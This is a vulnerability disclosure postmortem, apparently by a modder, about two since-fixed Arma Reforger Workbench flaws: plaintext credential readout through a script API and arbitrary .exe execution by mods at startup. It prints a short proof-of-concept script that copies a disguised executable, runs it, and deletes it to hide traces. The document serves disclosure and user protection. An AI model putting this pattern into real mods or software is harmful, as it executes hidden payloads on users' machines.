Arma Reforger workbench arbitrary code execution and credential leak vulnerability postmortem

AR-ACE-CRED-PostMortem.md

Postmortem: Arbitrary code execution and credential theft vulnerability in the AR Workbench

The Arma Reforger Workbench has suffered from two major security problems up until the 0.9.6 patch (released on 20.10.2022) that allowed malicious actors to distribute mods to exploit two separate vulnerabilities to 1. steal BI account login credentials in plain text and 2. execute an arbitrary .exe without the user being able to notice in advance. Both are now fixed! Unfortunately Bohemia Interactive has decided to not inform the general public about this in an appropriate way, so this post aims to let modders know about any potential harm they might have been exposed to.

The game itself and thus "normal players" were not affected. Only modders/content creators that launched the Arma Reforger Tools (Workbench) AND used third party mods/dependencies should double check if they were exposed to them.

---

Credential theft vulnerability

On 15.07.2022 during a bug hunting session with a few modders MarioE opened a private ticket to report that it is possible to steal username (email) and password through the BackendApi::GetCredentialsItem script API function. It returned the plain text information entered if a user has used the workshop login functionality since launching the application. Given the frequent problems with logins being invalidated the chances of users regularly logging in were quite high. A malicious mod could have been able to regularly call the function in the background and submit any found credentials via the built-in HTTP client to a remote web server for collection. BI has failed to disclose this problem entirely. What they should have said, and what I recommend now is:

1. Check if you were affected. With all of the mods you used in your workbench as dependencies loaded go into the script editor and search for GetCredentialsItem and make sure you have Look in: Entire Solution selected. You should find only these 4 results:

   • enfusion://ScriptEditor/scripts/GameLib/online/BackendApi.c;807
   • enfusion://ScriptEditor/Scripts/Game/Global/Functions.c;64
   • enfusion://ScriptEditor/Scripts/Game/UI/Menu/LoginDialogUI.c;76
   • enfusion://ScriptEditor/Scripts/Game/UI/Menu/LoginDialogUI.c;88

   If you found any 5th result that you do not recognize as an intended use case, get in touch to get the code examined to see if there was any harm caused by it. If so make sure to report the mod on the workshop!

2. If you were affected or want to be safe just in case: Change your BI account password. If you used the same password somewhere else you should consider changing it there as well.

This vulnerability was fixed by censoring the password with "******" when using the function. The email you use for your BI account is still available to be read, but I would not categorize it as a security risk. Depending on if you wanted to keep it secret as well, consider using separate emails just for the purpose of BI accounts.

---

Abitrary code execution

On 14.07.2022 Wardog and I discovered a group of script API functions that give powerful low-level access in the Workbench and which if unchecked could cause serious harm and reported them as such. I followed up with a full proof of concept the same day, exploiting one of the functions to execute an .exe that came bundled with a mod and was disguised as a .c script file. A combination of FileIO::CopyFile and Workbench::RunProcess allowed this executable to be put into a directory where the workbench could execute it and later remove it again without leaving a trace (except for the payload inside the mod files). A malicious mod was in theory able to execute whatever it wanted with the same permission level the workbench has.

class SelfExecute
{
    private static ref SelfExecute m_SelfExecute = new SelfExecute();
    
    private void SelfExecute()
    {
        thread ThreadedWorker();
    }
    
    private void ThreadedWorker()
    {
        //Copy files from mods into tools dir
        FileIO.CopyFile("1337Hacker.exe.c", "../1337Hacker.exe");
        
        //Excute the exe
        auto processHandle = Workbench.RunProcess("../1337Hacker.exe");
        
        //Wait for the payload to do something
        Sleep(1000);
        
        //Terminate the exe
        Workbench.KillProcess(processHandle);
        
        //Remove traces of this happening
        FileIO.DeleteFile("../1337Hacker.exe");
        
        //Profit ...
    }
}

All of this is "dangerous" by itself, but after all, modders are responsible for not blindly running third-party content right? Well, the nasty bit of this exploit is that you had no way to check for this in advance. Usually, mods are bundled as .pak files, with no official tool to inspect this archive type. The way to browse a mods content would be to open it and have a look around inside the workbench. But as soon as the workbench is opened with a mod containing the above code it is already too late. The workbench has a lot of scripted aspects (which is very nice) that require the scripts to be auto-compiled at startup (if not manually disabled using -noGameScriptsOnInit). The compilation of the code above however causes it to be automatically executed because of the static self-reference (dark script VM magic). So before an average user could see that a mod they use as a dependency seems to contain strange scripts and decide to remove the mod, they have already run.

The vulnerability was not "fixed", because all of these functions are that powerful by design - but they do now warn workbench users about dangerous script API usage with this popup window:

BI has very briefly addressed this vulnerability publicly but has not given any of the details that mattered. What you will want to do after updating to 0.9.6 is launch your projects and look out for the before-mentioned popup. If you do not recognize a valid use case, choose No to All and get in touch, so we can examine the mod, find any malicious code and report it so it is removed from the workshop.

---

Bohemia Interactive's (lack of) response

For anyone reading this and thinking bUt aRkEnSoR, tHe gAmE Is sTiLl iN EaRlY AcCeSs, ThInGs lIkE ThIs aRe tO Be eXpEcTeD! - yes, that is true, and it the reason neither I nor any of the other community members involved in the above vulnerability discoveries blame Bohemia Interactive for the existence of them. They work with an internal in-house engine and the focus should be on delivering the base game and later on polished modding tools. It is a very welcome decision to finally give the community the same tools the developers use themselves, and have them not be artificially crippled. The Workbench is very powerful and that is good! They made them available in early access and they do want our feedback to improve the game and the tools around it. BUT when they do get feedback or to be more precise a responsible disclose about two critical security vulnerabilities I do expect them to at least deal with them in a timely manner. If that is not possible due to the number of changes required, the vulnerability should be disclosed to the general public in advance, so that in the meantime people can avoid it. Bohemia Interactive has done nothing in this regard, and that is what I do criticize them for!

Here are the timelines for the communication with BI:

1. Credential theft vulnerability

• 15.07.2022 MarioE Inital report
• 21.07.2022 BI Say it was resolved, but giving no details how nor do they mention it in any of the changelogs or blog posts till this day.

2. Arbitrary code execution

• 14.07.2022 Arkensor Inital report

• 15.07.2022 BI Response acknowledging the existence of the exploit proof of concept, stating the tools are powerful, that they do not want to limit them too much and that they will consider how they approach it in the future.

• 15.07.2022 Arkensor Emphasis on this being a problem that needs to be addressed asap, announcing that as part of a responsible disclosure process I would inform the general public in 8 weeks' time. Giving them contact details to ask questions and have fast feedback iterations for potential solutions.

• 03.08.2022 BI Again saying they see the problem and they plan to address it in the future, but no concrete info. Nobody has gotten in touch with me officially to discuss solutions in the meantime.

• 15.09.2022 Arkensor The 8-week time window has passed with no further communication or any fix provided. BI attempted to silently, without any mention in any changelog implement the script popup solution mentioned earlier, but something went wrong and it was never effective. Because they did not tell anyone about it nor asked me to confirm, they had no feedback, that their "fix" did not work. I was not officially informed about a proposed solution existing either, I only saw traces of the scriptAuthorizeAll CLI param. I extended the deadline for another week to get this sorted.

• 20.09.2022 BI Claims that it was already fixed, and asks me to confirm it. Obviously, nobody actually checked on their side, or else they would have found out that the fix was not effective. They do promise to address the general topic of dangerous mods in the next dev report.

• 20.09.2022 Arkensor I ask them about how and when there will be an effective fix - because as it stands my disclosure is overdue and they have made no efforts to satisfy it themselves by letting the general public know. They just recently announced that all updates until 0.9.6 would be on hold which at this point was still one month away, so to me, it looked like they just accept the issue being in the wild with nobody knowing until then.

• 20.09.2022 BI They confirm the fix as ineffective and promise it would be working in the next public release, not mentioning how they would fix it or when.

• 30.09.2022 BI Let me know that the fix is present in the by then public experimental build and ask me to double check. Telling me they mentioned it in https://reforger.armaplatform.com/news/september-29-experimental

• 30.09.2022 Arkensor I confirm the fix was affective now. And then this, which I will cite from the ticket directly:

  I saw the mention of the parameter which is a good start but was disappointed to see no acknowledgment of the security risk having existed.

  You said

  Furthermore we’ll be addressing this as a featured topic in our next official Dev Report to raise awareness about downloading and running possibly harmful mod.

  Which I do hope was not just the one line in the middle of the changelogs ... :

  Changed: ScriptAPI: user authorization for methods that might be harmful

  As part of a responsible disclosure process, it would be good practice to inform about:

  The issue has existed from when to when: AR launch till EXP patch 0.9.6 What potential impact could it have on affected users: Execution of arbitrary native code on pcs without a trace How to see if you were affected: Launch the projects you worked on with their dependencies and check if the popup appears unexpectedly. What to do when you are affected: Report the mods on the workshop that attempted and or successfully exploited this in the past and get in contact with somebody who can analyze the exploit code/exe to see what damage it might have done. I volunteer to get contacted by people affected and guide them through the steps to deal with it. I do hope that due to it being reported early on in the lifecycle of AR before too many people were exposed to it, nobody had time to abuse it, but you never know, so communication about this is key. I am not sure if you planned to spare a few sentences about this and other exploits (e.g. being able to grab BI account credentials via script api) in the main news when 0.9.6 hits stable, but it is my recommendation that you do. Especially regarding the credentials grab - changing the password if you ever logged into workbench while using thrid party code should be recommended. It is my understanding that this issue was reported by someone else already and I think was also fixed prior to the 0.9.6 update or with it now, but I did not see any mention of this either. I could have missed it maybe?

• 07.10.2022 BI As part of https://reforger.armaplatform.com/news/dev-report-13 they finally mention that downloading and using third-party mods does come with a risk and people should check the source to be trustworthy and report them if anything seems to be suspicious. They mention that the tools are intended to be powerful (which I agree with), but that some vulnerabilities were reported by me and others, and they mentioned a whitelist solution they will introduce in future updates. This is all better than nothing, but they have not told people about the vulnerabilities themselves. They could have asked to make the tickets public now that they are resolved so they can point to them and have it be self-explanatory what was going on, or they could have manually summarized the things, like I did in this post. I explicitly suggested they say what exactly happened and what affected users should do multiple times during the feedback ticket conversation, but either they intentionally ignored this or nobody felt responsible to make sure this is taken care of correctly.

  Again, I do not blame them for the problems themselves. Things like that can happen during early access. And they did fix the issues - but it took 3 months without other modders knowing about the potential danger.

What Bohemia Interactive needs to improve at:

1. Know what a responsible disclosure implies and be on top of any provided deadlines. If they need more time to sort things out, communicate with the reporter. They only want your best or else they had made it public without giving you a chance to fix it.
2. Talk to the reporters about the subject matter! They most likely spent more time on the vulnerability and different variations of it than your own developers at the time of getting the report, so bouncing ideas for quick and or long-time fixes with them makes a lot of sense. There is nothing to hide ...
3. After a vulnerability was reported either communicate with the reporter when it will be fixed and then without being asked to do it repeatedly, let the general public know. Either after a quick fix could be implemented or if it will take longer a prevention notice in the meantime. A statement about "We were informed there is this problem, affecting those who do xyz, we will/have fix/ed it" earns you as a company nothing but respect for owning your mistakes and trust in your communication.

Tips for anyone dealing with a similar time-sensitive vulnerability in the future:

1. Always set a deadline for BI. They sure have a lot to do and if you allow them to put it into the backlog for the "future", it is uncertain if anyone will feel responsible and actually do it or if it gets lost amongst multiple people involved. The deadline should be realistic though ;) 8-12 weeks for a threat level like those described in this post would be a rule of thumb in the industry.
2. If they ignore your deadlines, go public. I have waited too long on letting everybody know about this. I had some knowledge about the behind-the-scenes process on this, so I knew they could not fix it any sooner even if I forced their hand through the disclosure, but in other situations, this might be different. Unless they ask you to extend the deadline and give you information that satisfies your expectation of it being fixed, go public. If left unchecked, the risk of both exploits being actively used was not 0. We already saw some mods implementing similar workbench level scrips to freeze or otherwise harm the user as means of anti-theft, so it is not too far-fetched to assume that in the near future somebody would have the idea to get a bit more drastic in "stopping" other people from opening their mods ...

Posted on 21.10.2022 by Arkensor